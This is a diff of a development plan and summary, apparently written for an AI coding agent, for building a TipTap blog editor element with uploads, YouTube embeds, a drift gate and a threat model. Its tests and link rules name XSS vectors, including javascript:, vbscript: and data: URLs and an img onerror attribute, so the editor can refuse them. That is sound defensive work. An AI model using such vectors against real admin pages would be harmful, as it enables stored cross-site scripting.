- `assets/src/blogeditor/labels.ts`: `labelsFor(uiLocale)` with `en` and `pl` tables.
|
||||
- `assets/src/blogeditor/toolbar.ts`: `buildToolbar(...)`.
|
||||
- Build files: `package.json`, `package-lock.json`, `tsconfig.json`, `vite.config.ts` (build and vitest config), `scripts/check-dist.sh`, `.gitignore`.
|
||||
- Committed bundle: `assets/dist/blogeditor.js`, `assets/dist/blogeditor.css`.
|
||||
- Test files: `tests/blogeditor/fixtures/imported-post.html`, `tests/blogeditor/smoke.test.ts`, `tests/blogeditor/corpus.test.ts`.
|
||||
- Corpus: `tests/blogeditor/fixtures/editor-corpus.json` (array of `{name, html}`), `isPolicyUrl(url)` in `extensions.ts` (the link URL rule).
|
||||
|
||||
<objective>
|
||||
Build the Blog Editor custom element (D-01, D-03, D-04, D-05, D-13, D-16, D-18 editor half) as sm-journal-plugin's own JS build with a committed, embedded bundle.
|
||||
|
||||
Purpose: plan 03 registers this element as the Journal post and category content field type.
|
||||
Output: package setup, element source, preservation schema and serializer, upload and embed UI, vitest smoke tests, committed dist, drift gate, embed line, README section.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
|
||||
Repository: `../sm-journal-plugin` (branch main). Commits there: no co-author tags, stage by explicit path, one logical change per commit. It has no `.gitignore` today; add one with `node_modules/` before the first install. The Go module builds against `../summercms.go` through `go.work`.
|
||||
|
||||
<interfaces>
|
||||
Element contract (identical to plan 01's interfaces block; plan 01 documents it in docs/backend/field-types.md). Fixed for this phase: plan 01's Task 1 checkpoint may rename only pact and cabana Go identifiers, never these names, so this plan runs in parallel with plan 01 against them. If plan 01's SUMMARY or checkpoint reply ever lists a change to any name below, stop and report instead of guessing.
|
||||
- Property `value` (string). Attributes `field-name`, `record-id`, `locale`, `ui-locale`, `options` (JSON), `disabled`, `invalid`.
|
||||
- Events (bubbling CustomEvent): `summer-change` detail `{value}` on user edits only; `summer-upload` detail `{id, file}`; the SPA answers on the element with `summer-upload-result` detail `{id, url}` or `{id, error}`.
|
||||
- Setting `value` to the string the element currently returns is a no-op (no reset, no event).
|
||||
|
||||
Embed placeholder (stored markup, consumed by the layer in plan 04):
|
||||
|
||||
```html
|
||||
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
|
||||
```
|
||||
|
||||
Element skeleton (RESEARCH Code Example 3, the value logic to keep):
|
||||
|
||||
```ts
|
||||
get value(): string { return this.#dirty ? serializeDocument(this.#editor!, this.#blocks) : this.#value }
|
||||
set value(v: string) {
|
||||
if (v === this.value) return // echo of our own summer-change
|
||||
this.#value = v; this.#dirty = false
|
||||
this.#editor?.commands.setContent(v, { emitUpdate: false })
|
||||
}
|
||||
// onUpdate({ transaction }): if (!transaction.docChanged) return; dirty = true; dispatch summer-change
|
||||
```
|
||||
|
||||
Pinned toolchain (same versions as summercms.go/admin/package.json): vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. Editor packages (exact): @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image, all 3.31.4.
|
||||
|
||||
Policy the server applies on save (plan 03, sm-journal-plugin classes/format_html.go `SanitizeHTML`, the bluemonday UGC policy plus the Journal extensions in `newHTMLPolicy`): it strips what it does not allow and never refuses (D-10 amended). Stripped are, among others, `script`, `style`, `iframe`, `object`, `embed`, `form`, `svg`, comments, every `on*` attribute, `target` and `rel` on links, `alt` values outside UGC's Paragraph pattern, `start` on `ol`, `data-*` on `figure`, and URLs other than http, https, mailto and relative. Plan 03 extends the policy for exactly this element's own output: `figure` `data-embed` (`youtube`) and `data-id` (11 characters `[A-Za-z0-9_-]`), `img` `alt` with any text, and `ol` `start` (integer); plan 04 mirrors the same four in the layer. The save response then names what was removed and the SPA sets the stored value back into the element through the value property (plan 01). The element does not try to rewrite content.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:human-verify" gate="blocking-human">
|
||||
<name>Task 1: Package legitimacy check before the first TipTap install (all @tiptap packages flagged too-new)</name>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Package Legitimacy Audit, Standard Stack), ../summercms.go/admin/package.json (the approved toolchain pins)</read_first>
|
||||
<action>Do not install anything. Run the read-only registry query in the verify command and print, for each of @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table and @tiptap/extension-image at 3.31.4: version, license, repository URL, publish time, and the scripts object (preinstall, install and postinstall must be absent). Print the npm pages for the human: https://www.npmjs.com/package/@tiptap/core, https://www.npmjs.com/package/@tiptap/pm, https://www.npmjs.com/package/@tiptap/starter-kit, https://www.npmjs.com/package/@tiptap/extension-table, https://www.npmjs.com/package/@tiptap/extension-image, and the release list https://github.com/ueberdosis/tiptap/releases. State the recorded choice: 3.31.4 is kept because it is the version the research probed; the flag is the release age (published 2026-09-30), not the packages. Stop for the human. This checkpoint is never auto-approved.</action>
|
||||
<what-built>Nothing yet: a read-only registry report for the five editor packages.</what-built>
|
||||
<how-to-verify>Open each npm page: the publisher is the TipTap organisation (ueberdosis), the repository is github.com/ueberdosis/tiptap, the license is MIT, version 3.31.4 exists and has normal weekly downloads, and the package has no install scripts. Check the GitHub release notes for 3.31.4 for any security advisory or yanked release.</how-to-verify>
|
||||
<resume-signal>Reply "packages approved" to install 3.31.4, "use X.Y.Z" to pin another 3.x release for all five packages (the executor re-runs the query for it), or "stop".</resume-signal>
|
||||
<verify>
|
||||
<automated>for p in @tiptap/core @tiptap/pm @tiptap/starter-kit @tiptap/extension-table @tiptap/extension-image; do npm view "$p@3.31.4" version license repository.url --json || exit 1; npm view "$p@3.31.4" scripts --json | grep -E '"(preinstall|install|postinstall)"' && exit 1; done; echo registry-ok</automated>
|
||||
<fails_when>Non-zero exit or "registry-ok" absent: a package or version is missing from the registry, or a package declares a preinstall, install or postinstall script.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The verify printed registry-ok and the SUMMARY records each package's license and repository URL.
|
||||
- The SUMMARY records the human's reply verbatim and the version that Task 2 installs.
|
||||
</acceptance_criteria>
|
||||
<done>A human approved the editor packages and their version, or stopped the plan.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: element source to committed, embedded bundle, with the untouched-value contract proven on an imported post</name>
|
||||
<precondition>Task 1 was answered "packages approved" or "use X.Y.Z"; `node --version` reports v22.6 or later.</precondition>
|
||||
<files>../sm-journal-plugin/.gitignore, ../sm-journal-plugin/package.json, ../sm-journal-plugin/package-lock.json, ../sm-journal-plugin/tsconfig.json, ../sm-journal-plugin/vite.config.ts, ../sm-journal-plugin/scripts/check-dist.sh, ../sm-journal-plugin/assets/src/blogeditor/index.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/admin.go</files>
|
||||
<read_first>../sm-journal-plugin/admin.go (the //go:embed list), ../sm-journal-plugin/plugin_test.go (AdminFS assertions), ../summercms.go/admin/package.json (toolchain pins), ../summercms.go/admin/vitest.config.ts, ../summercms.go/scripts/check-admin-dist.sh (drift gate to mirror), ../summercms.go/admin/src/components/form/fields/WidgetField.vue (header comment: element rules), ../summercms.go/modules/cabana/README.md (section "Partial style kit and plugin CSS variables": the --c-* names), ../summercms.go/modules/boardwalk/boardwalk.go (admin CSP, line 32), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json (fixture source: its content field, markdown with the author footer and style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 3, 5, 8; Pitfalls 1-4; Code Example 3)</read_first>
|
||||
<action>Make the element exist end to end before any schema work (per D-16, D-13, D-03).
|
||||
|
||||
Setup (D-16): in ../sm-journal-plugin add .gitignore with node_modules/; a private ESM package.json ("type": "module", engines node >=22.6) with exact pins: dependencies @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image at the version Task 1 approved; devDependencies vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3; scripts typecheck ("tsc --noEmit"), build ("vite build"; run typecheck before it), test ("vitest run"). Install with npm install --save-exact and commit package-lock.json. tsconfig.json: strict, ES2022, moduleResolution bundler, DOM lib, include assets/src and tests. vite.config.ts: library mode with entry assets/src/blogeditor/index.ts, formats ['es'], fixed output names blogeditor.js and blogeditor.css (no content hash; cabana adds ?v=), outDir assets/dist, emptyOutDir true, plus the vitest block (environment happy-dom, include tests/**/*.test.ts). scripts/check-dist.sh mirrors scripts/check-admin-dist.sh: set -euo pipefail, npm ci when node_modules is missing, npm run typecheck, vite build into a temp dir, diff -r against assets/dist, message "check-dist: assets/dist is stale; run npm run build and commit assets/dist".
|
||||
|
||||
Element (D-13, D-03): assets/src/blogeditor/element.ts defines BlogEditorElement (light DOM). connectedCallback builds a toolbar row with a WYSIWYG and a Source tab, the ProseMirror mount and a hidden textarea; the TipTap Editor uses injectCSS false, StarterKit configured with trailingNode false and link: HTMLAttributes target, rel and class all null, openOnClick false (Pitfalls 2 and 3), and content from the current value; disconnectedCallback destroys the editor. The value getter and setter follow the interfaces skeleton: the exact served string is returned until a user-originated docChanged transaction or a textarea input; initial and external content goes in through the content option or setContent with emitUpdate false (Pitfall 4); summer-change is dispatched with detail.value on each user edit only. Source tab: the textarea shows exactly this.value; typing there makes the value the exact textarea text (dirty) and dispatches summer-change; switching back re-parses only when the text changed, and the value stays the textarea text until the next WYSIWYG edit. Attributes: disabled makes the editor and textarea read-only; invalid sets aria-invalid. index.ts imports the CSS and defines the tag golem15-journal-blogeditor once (customElements.get guard). blogeditor.css carries the ProseMirror base rules TipTap would have injected plus layout, all selectors under golem15-journal-blogeditor and colours only from var(--c-...) names listed in the cabana README.
|
||||
|
||||
Fixture: tests/blogeditor/fixtures/imported-post.html holds the pl content_html of the export post ekstrakt-z-turkey-tail (rendered markdown, the author footer with itemscope, itemprop and span style, and the style block), plus appended sample blocks that the export lacks: a table with thead, a figure with img and figcaption, a link with target and rel, and a paragraph whose double quotes are written as the named quot entity (the 17-of-100 entity case from RESEARCH Pattern 3). It deliberately keeps legacy markup that the server policy strips (the style block, target, rel): the element must return it byte for byte; stripping is the server's job on an edited save (D-10). The live post 64 on UAT no longer has the style block in content_html (re-saved in 16.1); the local export still does, which is why the fixture comes from the export.
|
||||
|
||||
Smoke: tests/blogeditor/smoke.test.ts (happy-dom): importing index.ts defines the tag; setting value to the fixture and reading value returns the identical string; no summer-change fires on set or on an echo set; a simulated user insertText fires exactly one summer-change whose detail.value equals element.value; the source tab textarea shows the exact value.
|
||||
|
||||
Build and embed: npm run build, commit assets/dist/blogeditor.js and blogeditor.css. Add "//go:embed assets/dist/blogeditor.js assets/dist/blogeditor.css" to the adminFS embed list in admin.go. Commits: "build(editor): blog editor JS build and drift gate" (package files, configs, script, .gitignore), "feat(editor): blog editor element with exact untouched value" (source, tests, dist, admin.go).</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/smoke.test.ts && bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: a smoke case fails (the untouched value differs from the fixture, or summer-change fires without an edit), check-dist prints "check-dist: assets/dist is stale", go vet fails (for example the embed pattern matches no file), or the classes or controllers tests fail.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -c "golem15-journal-blogeditor" ../sm-journal-plugin/assets/dist/blogeditor.js` prints a number of at least 1.
|
||||
- `grep -n "assets/dist/blogeditor.js" ../sm-journal-plugin/admin.go` prints one line.
|
||||
- `git -C ../sm-journal-plugin check-ignore node_modules` prints node_modules.
|
||||
- `grep -cE "eval\(|new Function\(" ../sm-journal-plugin/assets/dist/blogeditor.js` prints 0 (admin CSP script-src 'self'; the bundle is minified and has no comments to filter).
|
||||
- smoke.test.ts passes its four cases on the imported-post fixture.
|
||||
</acceptance_criteria>
|
||||
<done>The element is built, committed and embedded; an untouched imported post round-trips byte for byte and only user edits emit summer-change.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion: preservation schema and serializer, toolbar features, image upload and YouTube embeds</name>
|
||||
<reversibility rating="costly">D-05: the embed placeholder markup becomes stored content in live posts and the layer's renderer depends on it; changing it later needs a content migration and a layer release.</reversibility>
|
||||
<files>../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/labels.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/assets/src/blogeditor/element.ts (Task 2 state), ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/node_modules/@tiptap/starter-kit/src/starter-kit.ts (option names), ../sm-journal-plugin/node_modules/@tiptap/extension-table/src (TableKit and renderHTML), ../sm-journal-plugin/node_modules/@tiptap/extension-image/src/image.ts, ../sm-journal-plugin/node_modules/@tiptap/extension-link/src/link.ts (isAllowedUri, HTMLAttributes), the installed OrderedList source (../sm-journal-plugin/node_modules/@tiptap/extension-list/src in TipTap 3, or the package StarterKit imports it from: the start attribute and its input rule), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTML: what the server keeps), ../vue-journal-layer/app/utils/htmlGate.ts (allowedUrl: the URL rule to mirror), ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Pattern 4, Pitfalls 1-3, Security Domain; its CheckHTML text predates the bluemonday switch)</read_first>
|
||||
<behavior>
|
||||
- rawHtml: footer, section, aside, header, nav, details, style and div blocks, and a figure that is not exactly img plus optional figcaption, become one atomic block holding the outer HTML; its card shows the source as text (a rawHtml holding an img with an onerror attribute creates no img element in the editor DOM).
|
||||
- Global attributes: class, data-*, itemprop, style and other unmodelled attributes on paragraphs, headings, lists, list items, blockquotes, tables, cells, images and links survive a WYSIWYG edit elsewhere in the document; span with style or class survives as a mark.
|
||||
- Serializer: after editing one paragraph of the fixture, every other top-level block is byte-identical to the input; tables serialize without colgroup or min-width style, keep a leading header row in thead and do not wrap single-paragraph cell text in p; links keep their own target and rel and gain none; no trailing empty paragraph.
|
||||
- Embed: parseEmbedUrl accepts youtube.com/watch?v=, youtu.be/, youtube.com/shorts/ and youtube.com/embed/ URLs and returns the 11-character id; anything else returns null; the embed node renders exactly the placeholder in the interfaces block and round-trips unchanged; the editor shows a card, never an iframe.
|
||||
- Upload: picking or dropping an image dispatches summer-upload {id, file}; a matching summer-upload-result {id, url} opens the alt-and-caption form and inserts img (or figure with figcaption when a caption is given); {id, error} shows the error and inserts nothing; a non-matching id is ignored.
|
||||
- Links: isAllowedUri, the link input and isPolicyUrl accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and a scheme hidden by a tab or newline are refused; a created link has href only.
|
||||
- Corpus (D-05): corpus.test.ts builds each entry through editor commands (embed from a youtube.com URL; image without caption whose alt contains a colon, a question mark and double quotes; image with caption; 3x3 table with header row; links http, https, mailto and relative; headings 2 to 4; bullet list; ordered list; ordered list starting at 3; blockquote; bold, italic, strike, underline and inline code; code block; horizontal rule; hard break; one document combining all of them) and compares each serialized value with editor-corpus.json; with UPDATE_CORPUS=1 it rewrites the file instead.
|
||||
</behavior>
|
||||
<action>Make edited documents keep as much markup as possible and add the D-04 features (per D-03, D-04, D-05, D-18; RESEARCH Pattern 4).
|
||||
|
||||
extensions.ts exports preservationExtensions(): StarterKit as configured in Task 2, with Link's isAllowedUri replaced by isPolicyUrl (also exported): the URL is accepted when, after removing ASCII control characters, spaces and DEL, it has no scheme (relative, including # and ?) or its scheme is http, https or mailto (the rule both sanitizer policies apply; see allowedUrl in the layer's htmlGate.ts); Image with inline true and allowBase64 false; TableKit with a renderHTML override that emits no colgroup and no min-width style; node rawHtml (atom, group block, low priority, parse rules for footer, section, aside, header, nav, details, style and div and the non-matching figure case, attribute html holding the outer HTML, node view showing a non-editable card with the source as textContent and an "edit as HTML" action that switches to the Source tab); node figure (content image then optional figcaption, getAttrs returns false for any other figure shape) and node figcaption; node embed (atom, parse rule figure[data-embed] at a higher priority than figure, attributes provider and id, renderHTML exactly the placeholder with data-embed before data-id, a card node view with the provider name and id, no iframe); mark span (parse span with any attribute, render back); extension htmlAttributes using addGlobalAttributes over the modelled node and mark types with one attribute that captures every attribute the node does not model and renders it back.
|
||||
|
||||
serializer.ts exports captureBlocks(html, schema), which at load parses each top-level child of the original HTML alone and records the resulting nodes with their exact outer HTML and the text between blocks, and serializeDocument(editor, blocks), which walks the top-level nodes, emits the recorded original text for every run of nodes still equal (Node.eq) to the captured ones, emits rawHtml nodes verbatim, and serializes the rest with DOMSerializer.fromSchema plus the table and cell rules above. element.ts uses serializeDocument for the dirty value; editor.getHTML() is never the stored value.
|
||||
|
||||
embed.ts exports EMBED_PROVIDERS (one entry: youtube, id pattern ^[A-Za-z0-9_-]{11}$) and parseEmbedUrl(url). labels.ts exports labelsFor(uiLocale) with en and pl tables for every toolbar label, prompt and error (fallback en). toolbar.ts builds the toolbar: paragraph and headings 2 to 4, bold, italic, bullet list, ordered list, link (inline URL input, empty removes the link), blockquote, table (insert 3x3 with header row, add or delete row and column, delete table), image (file picker with accept image/jpeg, image/png, image/gif, image/webp), embed (inline URL input through parseEmbedUrl, error label for an unsupported URL), raw HTML block (inserts an empty rawHtml and opens Source), undo, redo, and the WYSIWYG/Source tabs.
|
||||
|
||||
Uploads in element.ts (D-18): files from the picker or a drop of image files are each sent as summer-upload with a fresh id (crypto.randomUUID); the element waits for summer-upload-result with that id (timeout 60 s ends in the error label), then shows an inline form with alt text (required) and caption (optional), and inserts img with src and alt, or figure with img and figcaption when the caption is set. Errors appear in an aria-live status line inside the element. Pasted base64 images are dropped (allowBase64 false).
|
||||
|
||||
Corpus (D-05): new tests/blogeditor/corpus.test.ts builds the entries listed in the behavior block on happy-dom through editor commands only (insertContent of HTML is not used, so each entry is what the toolbar and input rules produce), serializes each with serializeDocument, and compares the array of {name, html} with tests/blogeditor/fixtures/editor-corpus.json; with UPDATE_CORPUS=1 it writes the file (two-space JSON, trailing newline). Generate and commit the file. The corpus must hold no iframe, no on* attribute, no target or rel, no style attribute and no URL outside isPolicyUrl; the test asserts that too. Plans 03 and 04 consume this file, so its entry names stay stable once committed.
|
||||
|
||||
Tests: extend tests/blogeditor/smoke.test.ts with one case per remaining behavior bullet (all on happy-dom, the fixture and small inline samples). Rebuild assets/dist with npm run build. README.md: a "Blog Editor" section covering the element, the JS build (npm ci, npm run build, scripts/check-dist.sh), the embed placeholder, the link URL rule, the policy corpus (UPDATE_CORPUS=1 to regenerate; plans 03 and 04 check it against the Go policy and the layer) and the upload flow. Commit as feat(editor) with the dist, the corpus and README, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/tsc --noEmit -p ../sm-journal-plugin && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./...</automated>
|
||||
<fails_when>Non-zero exit: tsc reports a type error, any vitest case fails (untouched round trip, block reuse, rawHtml text card, attribute preservation, tables, links and the URL rule, embed parsing and round trip, upload flow, or the corpus differing from the editor's output), check-dist prints "check-dist: assets/dist is stale", or go vet fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function serializeDocument" ../sm-journal-plugin/assets/src/blogeditor/serializer.ts`, `grep -n "export function parseEmbedUrl" ../sm-journal-plugin/assets/src/blogeditor/embed.ts` and `grep -n "export function isPolicyUrl" ../sm-journal-plugin/assets/src/blogeditor/extensions.ts` each print one line.
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json parses as JSON, holds at least 15 entries including one whose html contains `data-embed="youtube"`, one with `<figcaption>`, one with `<table>` and one with `start="3"`, and `grep -cE '<iframe|target=|rel=| on[a-z]+=|style=' ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` prints 0.
|
||||
- The vitest run reports every case passing, including the block-reuse case (only the edited paragraph differs) and the embed round trip producing the exact placeholder.
|
||||
- `grep -c "data-embed" ../sm-journal-plugin/assets/dist/blogeditor.js` prints at least 1, and the dist matches a fresh build (check-dist passes).
|
||||
- `grep -oE 'summer-(upload-result|upload|change)' ../sm-journal-plugin/assets/dist/blogeditor.js | sort -u | wc -l` prints 3 (the bundle uses all three fixed element contract event names shared with plan 01).
|
||||
- README.md has a "Blog Editor" heading.
|
||||
</acceptance_criteria>
|
||||
<done>Edited documents keep unknown markup and unedited blocks, the toolbar covers text, links, tables, images, embeds and raw HTML, images upload through the SPA contract, and the editor's own output is committed as the policy corpus that plans 03 and 04 test.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| stored post HTML → admin editor DOM | imported or previously saved HTML is parsed into the editor inside the admin origin |
|
||||
| editor → SPA (events) | the element hands files and values to the SPA; the SPA owns the session |
|
||||
| npm registry → plugin build | the editor packages enter the committed bundle |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-09 | Elevation of Privilege (admin XSS) | rawHtml node view | high | mitigate | The card renders the stored source with textContent, never innerHTML; ProseMirror parses through the schema, so script is never a node; a test asserts a rawHtml with an onerror attribute creates no img element in the editor DOM |
|
||||
| T-16.2-10 | Tampering (stored XSS) | Source tab and pasted HTML | high | mitigate | The element does not try to sanitize; every saved value goes through classes.SanitizeHTML in the plan 03 Decode on every locale (D-10 amended: strip, never refuse), the save names what was removed and the SPA puts the stored value back into the element; the layer sanitizes again before v-html |
|
||||
| T-16.2-11 | Tampering | link mark | medium | mitigate | isAllowedUri is replaced by isPolicyUrl (http, https, mailto, relative only, scheme read after removing control characters and spaces), the same rule both sanitizer policies apply; tests cover javascript:, data:, tel: and a tab-split scheme |
|
||||
| T-16.2-12 | Elevation of Privilege | bundle under the admin CSP | medium | mitigate | No eval or new Function in the bundle (grep gate), injectCSS false, styles in blogeditor.css under the element tag |
|
||||
| T-16.2-13 | Information Disclosure | uploads | high | mitigate | The element only dispatches summer-upload with a File; the SPA posts it with its own session to the cabana route; the element never receives or sends credentials |
|
||||
| T-16.2-SC | Tampering | npm installs (@tiptap/*) | high | mitigate | Blocking human package check (Task 1, never auto-approved) before the first install; exact version pins and a committed package-lock.json; check-dist rebuilds from the lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: registry report printed and a human approved the packages.
|
||||
- Task 2: smoke tests, check-dist, go vet and the classes and controllers tests pass.
|
||||
- Task 3: typecheck, the full vitest suite, check-dist and go vet pass.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-01, D-03 (client half), D-04, D-05 (editor half, including the committed policy corpus), D-13 (element half), D-16 and D-18 (editor half) delivered in sm-journal-plugin with a committed, embedded bundle and a drift gate.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md` when done, with the package report, the human reply, the installed versions, the commit hashes and the bundle size.
|
||||
</output>
|
||||
@@ -0,0 +1,298 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 02
|
||||
subsystem: journal-admin-editor
|
||||
tags: [sm-journal-plugin, tiptap, prosemirror, custom-elements, vite, vitest, blog-editor, embeds, uploads]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: the field type element contract (value property, attributes, summer-change, summer-upload, summer-upload-result) and the SPA host that loads plugin field type scripts as module scripts
|
||||
provides:
|
||||
- custom element golem15-journal-blogeditor (BlogEditorElement), committed bundle assets/dist/blogeditor.js and blogeditor.css embedded through admin.go
|
||||
- preservationExtensions, isPolicyUrl, RawHtml, Embed, Figure, FigureImage, Figcaption, Span, HtmlAttributes (extensions.ts)
|
||||
- serializeDocument and captureBlocks (serializer.ts), parseEmbedUrl and EMBED_PROVIDERS (embed.ts), labelsFor (labels.ts), buildToolbar (toolbar.ts)
|
||||
- tests/blogeditor/fixtures/editor-corpus.json, the editor's own output for the plan 03 Go policy test and the plan 04 layer copy
|
||||
- sm-journal-plugin JS build (package.json, package-lock.json, vite.config.ts, tsconfig.json) and the scripts/check-dist.sh drift gate
|
||||
affects: [16.2-03, 16.2-04, 16.2-05, 16.2-06, journal]
|
||||
|
||||
actuals:
|
||||
tokens: 29500
|
||||
tasks: 2
|
||||
commits: 3
|
||||
plan_head_before: c60abc6d6220d5f9f15659d1cc5ec7d8dd1f5020
|
||||
plan_head_after: 086e485
|
||||
commits_repo: ../sm-journal-plugin
|
||||
|
||||
tech-stack:
|
||||
added:
|
||||
- "@tiptap/core 3.31.4"
|
||||
- "@tiptap/pm 3.31.4"
|
||||
- "@tiptap/starter-kit 3.31.4"
|
||||
- "@tiptap/extension-table 3.31.4"
|
||||
- "@tiptap/extension-image 3.31.4"
|
||||
- "vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3 (dev, same pins as the admin SPA)"
|
||||
patterns:
|
||||
- "Untouched value: the element returns the exact served string until a user-originated docChanged transaction or a Source tab input"
|
||||
- "Top-level block reuse: the original HTML is split by source position, each piece parsed alone, and runs of nodes still Node.eq to the captured ones are emitted as their original bytes (LCS alignment after prefix/suffix trimming)"
|
||||
- "Stored HTML never reaches the live admin DOM: raw blocks are text cards, serializer and raw renderHTML work in an inert document, on* attributes are never captured"
|
||||
- "Committed, minified plugin bundle with a temp-dir rebuild and diff -r drift gate"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-journal-plugin/.gitignore
|
||||
- ../sm-journal-plugin/package.json
|
||||
- ../sm-journal-plugin/package-lock.json
|
||||
- ../sm-journal-plugin/tsconfig.json
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../sm-journal-plugin/scripts/check-dist.sh
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
|
||||
- ../sm-journal-plugin/tests/blogeditor/helpers.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
|
||||
modified:
|
||||
- ../sm-journal-plugin/admin.go
|
||||
- ../sm-journal-plugin/plugin_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
|
||||
key-decisions:
|
||||
- "TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (reply: packages approved)"
|
||||
- "The bundle is built through Vite's application pipeline with a single ES entry, fixed names and preserved exports, not build.lib: library mode never minifies whitespace in ES output (587 KB vs 466 KB)"
|
||||
- "Images are inline (Image inline: true), so an uncaptioned image is <p><img src alt></p>; a captioned one is <figure><img><figcaption></figure> through a block figureImage node"
|
||||
- "Link parsing, rendering and commands all use isPolicyUrl: a stored link with another scheme (tel:, ftp:) keeps its text but loses the link when its block is edited, the same result the server policy gives on an edited save"
|
